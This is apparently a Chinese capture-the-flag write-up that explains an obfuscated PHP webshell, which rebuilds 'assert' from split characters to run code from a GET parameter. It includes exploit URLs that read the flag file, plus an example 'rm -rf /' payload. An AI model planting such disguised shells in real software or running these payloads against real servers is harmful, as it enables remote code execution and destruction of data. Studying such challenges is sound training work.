时效性
2025年8月3日
题目来源
题目描述
Write UP
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
http://117.72.52.127:12745/?s=system(%27ls%27)
http://117.72.52.127:12745/?s=system(%27cat%20flaga15808abee46a1d5.txt%27)
总结
该类题目的主要考察方式就是提供一些比较难以辨认的shell,这些shell往往不同于一般的一句话木马,而存在一些独特的应用方式,需要我们找到对应的利用方式。
-
$poc = "a#s#s#e#r#t";- 定义一个字符串变量
$poc,值为"a#s#s#e#r#t"。 - 目的:将敏感字符串
assert用#分割,避免直接暴露。
- 定义一个字符串变量
-
$poc_1 = explode("#", $poc);- 使用
explode()函数以#为分隔符拆分$poc,生成数组$poc_1。 - 结果:
$poc_1 = ["a", "s", "s", "e", "r", "t"]。
- 使用
-
$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];- 将数组
$poc_1的所有元素拼接成一个新字符串$poc_2。 - 结果:
$poc_2 = "a" + "s" + "s" + "e" + "r" + "t" = "assert"。
- 将数组
-
$poc_2($_GET['s'])-
关键危险点:将
$poc_2(值为"assert")作为函数调用,参数为$_GET['s']。 -
等价于:
assert($_GET['s'])。 -
作用:
assert()是 PHP 的内置函数,如果参数是字符串,会将其当作 PHP 代码执行。 -
例如:
- 若用户访问
http://example.com/?s=phpinfo(),则实际执行assert("phpinfo()"),触发phpinfo函数。 - 攻击者可构造恶意参数执行任意操作,如
?s=system("rm -rf /")(删除服务器文件)。
- 若用户访问
-